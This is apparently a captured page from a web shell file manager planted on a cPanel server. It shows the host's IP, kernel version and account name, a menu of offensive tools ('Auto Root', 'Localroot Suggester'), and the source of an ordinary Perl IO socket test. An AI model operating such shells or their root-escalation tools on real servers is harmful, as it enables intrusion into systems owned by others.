Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
IO /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
IO.t
2.59
KB
-r--r--r--
2014-12-27 11:48
cachepropagate-tcp.t
1.3
KB
-r--r--r--
2014-12-27 11:48
cachepropagate-udp.t
1.14
KB
-r--r--r--
2014-12-27 11:48
cachepropagate-unix.t
2.87
KB
-r--r--r--
2014-12-27 11:48
io_const.t
577
B
-r--r--r--
2014-12-27 11:48
io_dir.t
1.42
KB
-r--r--r--
2014-12-27 11:48
io_dup.t
1.17
KB
-r--r--r--
2014-12-27 11:48
io_file.t
1.33
KB
-r--r--r--
2014-12-27 11:48
io_file_export.t
517
B
-r--r--r--
2014-12-27 11:48
io_linenum.t
1.26
KB
-r--r--r--
2014-12-27 11:49
io_multihomed.t
2.2
KB
-r--r--r--
2014-12-27 11:48
io_pipe.t
2.54
KB
-r--r--r--
2014-12-27 11:48
io_poll.t
1.36
KB
-r--r--r--
2014-12-27 11:48
io_sel.t
3.21
KB
-r--r--r--
2014-12-27 11:48
io_sock.t
8.78
KB
-r--r--r--
2014-12-27 11:48
io_taint.t
1.29
KB
-r--r--r--
2014-12-27 11:49
io_tell.t
1.36
KB
-r--r--r--
2014-12-27 11:48
io_udp.t
1.99
KB
-r--r--r--
2014-12-27 11:48
io_unix.t
2.41
KB
-r--r--r--
2014-12-27 11:48
io_utf8.t
833
B
-r--r--r--
2014-12-27 11:48
io_utf8argv.t
939
B
-r--r--r--
2014-12-27 11:48
io_xs.t
1.29
KB
-r--r--r--
2014-12-27 12:38
Save
Rename
#!./perl BEGIN { require($ENV{PERL_CORE} ? '../../t/test.pl' : './t/test.pl'); use Config; my $can_fork = $Config{d_fork} || (($^O eq 'MSWin32' || $^O eq 'NetWare') and $Config{useithreads} and $Config{ccflags} =~ /-DPERL_IMPLICIT_SYS/ ); my $reason; if ($ENV{PERL_CORE} and $Config{'extensions'} !~ /\bSocket\b/) { $reason = 'Socket extension unavailable'; } elsif ($ENV{PERL_CORE} and $Config{'extensions'} !~ /\bIO\b/) { $reason = 'IO extension unavailable'; } elsif (!$can_fork) { $reason = 'no fork'; } skip_all($reason) if $reason; } $| = 1; print "1..8\n"; watchdog(15); package Multi; require IO::Socket::INET; @ISA=qw(IO::Socket::INET); use Socket qw(inet_aton inet_ntoa unpack_sockaddr_in); sub _get_addr { my($sock,$addr_str, $multi) = @_; #print "_get_addr($sock, $addr_str, $multi)\n"; print "not " unless $multi; print "ok 2\n"; ( # private IP-addresses which I hope does not work anywhere :-) inet_aton("10.250.230.10"), inet_aton("10.250.230.12"), inet_aton("127.0.0.1") # loopback ) } sub connect { my $self = shift; if (@_ == 1) { my($port, $addr) = unpack_sockaddr_in($_[0]); $addr = inet_ntoa($addr); #print "connect($self, $port, $addr)\n"; if($addr eq "10.250.230.10") { print "ok 3\n"; return 0; } if($addr eq "10.250.230.12") { print "ok 4\n"; return 0; } } $self->SUPER::connect(@_); } package main; use IO::Socket; $listen = IO::Socket::INET->new(LocalAddr => 'localhost', Listen => 2, Proto => 'tcp', Timeout => 5, ) or die "$!"; print "ok 1\n"; $port = $listen->sockport; if($pid = fork()) { $sock = $listen->accept() or die "$!"; print "ok 5\n"; print $sock->getline(); print $sock "ok 7\n"; waitpid($pid,0); $sock->close; print "ok 8\n"; } elsif(defined $pid) { $sock = Multi->new(PeerPort => $port, Proto => 'tcp', PeerAddr => 'localhost', MultiHomed => 1, Timeout => 1, ) or die "$!"; print $sock "ok 6\n"; sleep(1); # race condition print $sock->getline(); $sock->close; exit; } else { die; }